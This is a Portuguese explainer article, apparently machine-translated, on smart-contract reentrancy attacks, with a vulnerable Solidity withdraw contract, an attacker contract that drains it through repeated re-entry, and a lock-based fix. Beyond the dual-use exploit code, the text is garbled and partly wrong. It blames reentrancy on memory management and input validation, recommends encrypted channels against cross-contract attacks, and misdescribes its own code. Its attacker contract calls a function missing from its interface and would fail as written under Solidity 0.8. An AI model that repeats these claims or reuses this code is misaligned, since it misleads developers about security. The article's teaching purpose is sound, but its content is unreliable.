O que é um ataque de reentrância e como funciona?
A tecnologia Blockchain testemunhou várias violações de alto perfil envolvendo quantidades substanciais de ativos digitais, coletivamente chamados de “ataques de reentrada”. Embora tais incidentes tenham diminuído em frequência recentemente, seu impacto potencial na segurança dos aplicativos blockchain e dos usuários finais permanece digno de nota.
Os ataques reentrantes envolvem a exploração de vulnerabilidades em aplicativos de software que permitem que códigos maliciosos sejam executados repetidamente, levando a acesso não autorizado ou controle de um sistema. Esses ataques geralmente ocorrem quando um aplicativo falha ao gerenciar adequadamente os recursos de memória ou a validação de entrada, permitindo que os invasores manipulem o fluxo do programa e obtenham privilégios elevados. Para mitigar o risco de ataques de reentrada, os desenvolvedores devem garantir testes e verificações completos de seu código, implementar práticas de codificação segura e aderir às diretrizes de segurança padrão do setor, como OWASP (Open Web Application Security Project). Além disso, atualizações e patches regulares devem ser aplicados imediatamente para lidar com vulnerabilidades conhecidas e proteger contra ameaças emergentes.
O que é um ataque de reentrância?
Um ataque reentrante ocorre quando um contrato inteligente suscetível invoca uma chamada externa ilícita para uma contraparte nefasta, cedendo temporariamente o comando sobre o continuum da transação. Posteriormente, o contrato malévolo convoca perpetuamente a função inicial do contrato inteligente durante sua execução contínua, esgotando simultaneamente seus recursos financeiros.
em primeiro lugar, verificando o saldo disponível; em segundo lugar, transferindo o valor sacado para outra conta; e terceiro, atualizando o saldo remanescente de acordo. No entanto, se uma parte não autorizada obtiver acesso a esse ciclo antes da atualização do saldo, ela poderá drenar repetidamente os fundos de uma carteira por meio de retiradas repetidas.
Crédito da imagem: Etherscan
Um dos hacks de blockchain mais infames, o hack Ethereum DAO, coberto por Coindesk, foi um ataque de reentrância que levou a uma perda de mais de $ 60 milhões em eth e mudou fundamentalmente o curso da segunda maior criptomoeda.
Como funciona um ataque de reentrância?
Imagine uma instituição financeira situada em sua comunidade natal, na qual residentes estimados depositam seus fundos; a liquidez agregada deste estabelecimento ascende a um milhão de dólares. No entanto, o banco emprega um protocolo de contabilidade imperfeito, pelo qual o pessoal atrasa a atualização das contas dos clientes até o anoitecer.
Ao visitar a cidade, seu conhecido, que também é investidor, descobre uma discrepância nos registros financeiros. Para demonstrar a vulnerabilidade, ele abre uma conta bancária e transfere uma quantia inicial de cem dólares. No dia seguinte, ele inicia um pedido de saque no mesmo valor. Em apenas sessenta minutos, ele repete o processo mais uma vez, apesar de a transação anterior ainda não ter sido processada pela instituição. Consequentemente, devido à falha do banco em atualizar as informações de sua conta, os fundos disponíveis do indivíduo continuam refletindo um saldo zero. Como tal, ele recupera com sucesso o valor solicitado em várias ocasiões, esgotando todos os ativos até que nenhum reste. É somente no final da jornada de trabalho, ao reconciliar seus liderados
No âmbito de um acordo inteligente, a operação é executada da seguinte forma:
Um ator mal-intencionado descobre uma falha em um contrato inteligente apelidado de “X”, que apresenta uma oportunidade de exploração.
Iniciada uma operação genuína dirigida ao contrato, X, com intenções de transferir ativos para um contrato nefasto, denotado por ‘Y’, este passa a invocar uma funcionalidade suscetível do primeiro durante a sua execução.
A suspensão da execução do contrato de X está condicionada à sua necessidade de interagir com um evento externo, resultando em uma interrupção temporária ou atraso em sua funcionalidade.
Enquanto a execução do programa X é interrompida temporariamente, um invasor pode invocar repetidamente uma única instância da função suscetível dentro dele, fazendo várias invocações, fazendo com que a função seja executada inúmeras vezes consecutivamente.
A cada entrada subseqüente, a configuração interna do contrato sofre modificação, permitindo assim que um agente mal-intencionado esgote sistematicamente os ativos transferidos da conta X para a conta Y.
Esgotados os recursos disponíveis, cessa a entrada posterior, pois a execução adiada acaba por se concretizar, atualizando assim o status do contrato de acordo com seu ponto de reacesso mais recente.
Na maioria dos casos, agentes mal-intencionados são capazes de aproveitar a vulnerabilidade reentrante em seu benefício, resultando na remoção não autorizada de ativos do contrato inteligente.
Um exemplo de ataque de reentrância
Um cenário hipotético envolvendo um ataque de reentrância em um contrato inteligente, utilizando um exemplo de uma função reentrante dentro do contrato, é fornecido para fins ilustrativos. O contrato em questão contém um ponto de reentrada que facilita a execução repetida de certas ações, permitindo assim uma potencial exploração por agentes mal-intencionados.
// Vulnerable contract with a reentrancy vulnerability
pragma solidity ^0.8.0;
contract VulnerableContract {
mapping(address => uint256) private balances;
function deposit() public payable {
balances[msg.sender] \+= msg.value;
}
function withdraw(uint256 amount) public {
require(amount <= balances[msg.sender], "Insufficient balance");
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] -= amount;
}
}
O VulnerableContract permite que os usuários façam depósitos em Ether (ETH) utilizando sua funcionalidade de depósito. Ao mesmo tempo, os usuários podem recuperar seus fundos depositados por meio do recurso retirar
. Infelizmente, esta última operação é suscetível a uma vulnerabilidade reentrante dentro da própria função retirar
. Especificamente, ao iniciar uma solicitação de saque, o contrato desembolsa preventivamente a quantia especificada ao destinatário designado pelo usuário antes de revisar o saldo da conta. Essa ação proativa expõe uma falha de segurança que pode ser explorada por atores malévolos que buscam tirar proveito da situação.
Um exemplo hipotético de um contrato inteligente malicioso pode ser apresentado para exame.
// Attacker's contract to exploit the reentrancy vulnerability
pragma solidity ^0.8.0;
interface VulnerableContractInterface {
function withdraw(uint256 amount) external;
}
contract AttackerContract {
VulnerableContractInterface private vulnerableContract;
address private targetAddress;
constructor(address _vulnerableContractAddress) {
vulnerableContract = VulnerableContractInterface(_vulnerableContractAddress);
targetAddress = msg.sender;
}
// Function to trigger the attack
function attack() public payable {
// Deposit some ether to the vulnerable contract
vulnerableContract.deposit{value: msg.value}();
// Call the vulnerable contract's withdraw function
vulnerableContract.withdraw(msg.value);
}
// Receive function to receive funds from the vulnerable contract
receive() external payable {
if (address(vulnerableContract).balance >= 1 ether) {
// Reenter the vulnerable contract's withdraw function
vulnerableContract.withdraw(1 ether);
}
}
// Function to steal the funds from the vulnerable contract
function withdrawStolenFunds() public {
require(msg.sender == targetAddress, "Unauthorized");
(bool success, ) = targetAddress.call{value: address(this).balance}("");
require(success, "Transfer failed");
}
}
Quando o ataque é lançado:
A classe AttackerContract
, durante a inicialização, obtém o endereço do VulnerableContract
através de seu construtor e subsequentemente o atribui ao campo vulnerableContract
.
O invasor invoca a função “depósito” de um contrato inteligente direcionado, injetando uma quantidade especificada de Ether (ETH) como entrada, seguida pela execução imediata da função “retirar” dentro da mesma instância do contrato.
A funcionalidade de retirada dentro do VulnerableContract transfere uma quantidade especificada de Ethereum (ethereum) para a conta do perpetrador antes de ajustar o saldo da conta, porém, devido ao fato do contrato inteligente do assaltante permanecer suspenso durante toda a invocação externa, a operação não foi totalmente executado.
Após a invocação da função receber
dentro do AttackerContract, ela é iniciada como consequência do VulnerableContract ter despachado Ether para este contrato durante uma chamada externa.
Após o recebimento de uma transação, a função de recebimento primeiro verifica se o saldo do AttackerContract é suficiente para a operação de retirada pretendida, que requer pelo menos uma unidade de Ether. Nesse caso, a Função de Retirada do VulnerableContract é posteriormente invocada mais uma vez, permitindo que o invasor explore repetidamente essa vulnerabilidade e drene os fundos do contrato até que uma verificação adequada seja implementada no código para evitar tal abuso.
Repita as etapas três a cinco repetidamente, desde que o VulnerableContract continue a ter fundos disponíveis e o contrato do invasor não acumule uma quantidade excessiva de Ether.
Em última análise, o intruso pode executar a funcionalidade da função retirarStolenFunds
dentro do contexto do AtacanteContrato
, extraindo e retendo assim quaisquer ativos que tenham sido acumulados pelo contrato comprometido durante sua operação.
A ocorrência de um ataque pode variar em termos da sua velocidade, tendo em conta fatores como a eficiência da rede. Nos casos em que contratos inteligentes intrincados estão envolvidos, como o infame DAO Hack que precipitou uma bifurcação entre Ethereum e Ethereum Classic, o ataque tende a se desenrolar por um período de várias horas.
Como prevenir um ataque de reentrância
Para mitigar o risco de um ataque reentrante em nosso contrato inteligente, é imperativo que sigamos as diretrizes estabelecidas para o desenvolvimento seguro do contrato. Especificamente, adotaremos o padrão “checks-effects-interactions” (CEI) conforme demonstrado no trecho de código a seguir.
// Secure contract with the "checks-effects-interactions" pattern
pragma solidity ^0.8.0;
contract SecureContract {
mapping(address => uint256) private balances;
mapping(address => bool) private isLocked;
function deposit() public payable {
balances[msg.sender] \+= msg.value;
}
function withdraw(uint256 amount) public {
require(amount <= balances[msg.sender], "Insufficient balance");
require(!isLocked[msg.sender], "Withdrawal in progress");
// Lock the sender's account to prevent reentrancy
isLocked[msg.sender] = true;
// Perform the state change
balances[msg.sender] -= amount;
// Interact with the external contract after the state change
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
// Unlock the sender's account
isLocked[msg.sender] = false;
}
}
Nesta versão atualizada, incorporamos um mecanismo adicional para monitorar o status de contas individuais durante o processo de retirada. Especificamente, utilizamos um novo atributo chamado para determinar se uma conta específica tem ou não transações pendentes. Ao iniciar uma solicitação de retirada por um usuário, o contrato inteligente verifica o estado atual de sua conta, verificando sua disponibilidade por meio da variável. Se a conta estiver ocupada com outra transação em andamento, ela será sinalizada como e o usuário será prontamente informado de que não poderá prosseguir com a ação solicitada até que a transação anterior seja concluída e resolvida. Essa medida serve para evitar possíveis conflitos e garantir a integridade de todo o sistema, limitando as operações simultâneas para cada conta.
Se a conta não tiver sido bloqueada, o contrato inteligente prosseguirá com a atualização de estado solicitada e todas as interações necessárias com sistemas externos. Após esse processo, a conta será desbloqueada mais uma vez, permitindo assim novas transações de saque no futuro.
Tipos de Ataques de Reentrância
Crédito da imagem: Ivan Radic/Flickr
Em geral, existem três categorias principais de ataques de reentrada que podem ser classificados de acordo com a maneira como são explorados.
O conceito de “ataque de reentrada única” refere-se a um cenário em que o invasor tem como alvo uma função que tende a ser reinserida várias vezes em um curto período, com cada invocação levando potencialmente a acesso não autorizado ou controle sobre o sistema. Ao empregar proteções adequadas, como inspeções completas de código e mecanismos de bloqueio apropriados, os desenvolvedores podem efetivamente mitigar o risco representado por esses tipos de ataques.
Em ataques entre funções, um ator mal-intencionado aproveita uma função enfraquecida para invocar outra função dentro do mesmo contrato inteligente que compartilha um estado comum com a função comprometida. A função visada, acionada pelo intruso, possui consequências atraentes, tornando-a mais atraente para exploração. Como tal, esses ataques podem ser bastante difíceis de identificar e neutralizar, exigindo monitoramento e salvaguardas rigorosos entre as funções relacionadas para minimizar seu impacto.
O ataque de contrato cruzado ocorre quando um contrato externo se comunica com um suscetível, em que o estado deste último é invocado prematuramente durante sua relação. Comumente, tal ocorrência ocorre quando mais de um contrato compartilha um recurso comum e alguns deles modificam o referido recurso de forma imprudente. Para evitar essa ameaça, são necessárias medidas de segurança rigorosas, como o emprego de canais criptografados para comunicação e a realização de avaliações de segurança de rotina de contratos inteligentes.
Prevenir ataques de reentrada requer a implementação de contramedidas distintas para várias apresentações de tais ataques, pois eles abrangem diversas manifestações.
Mantendo-se protegido contra ataques de reentrância
Os aplicativos baseados em blockchain sofreram contratempos monetários significativos, bem como erosão da confiança devido à prevalência de explorações de reentrada. Consequentemente, é imperativo que os desenvolvedores sigam estritamente as diretrizes recomendadas ao elaborar contratos inteligentes para evitar tais violações de segurança.
Para aumentar a proteção de seus contratos inteligentes, os desenvolvedores devem adotar mecanismos de retirada confiáveis, contar com bibliotecas respeitáveis e realizar procedimentos de auditoria abrangentes. Além disso, é essencial que eles permaneçam informados sobre os riscos de segurança em evolução e busquem ativamente medidas preventivas para manter a integridade geral do ambiente blockchain.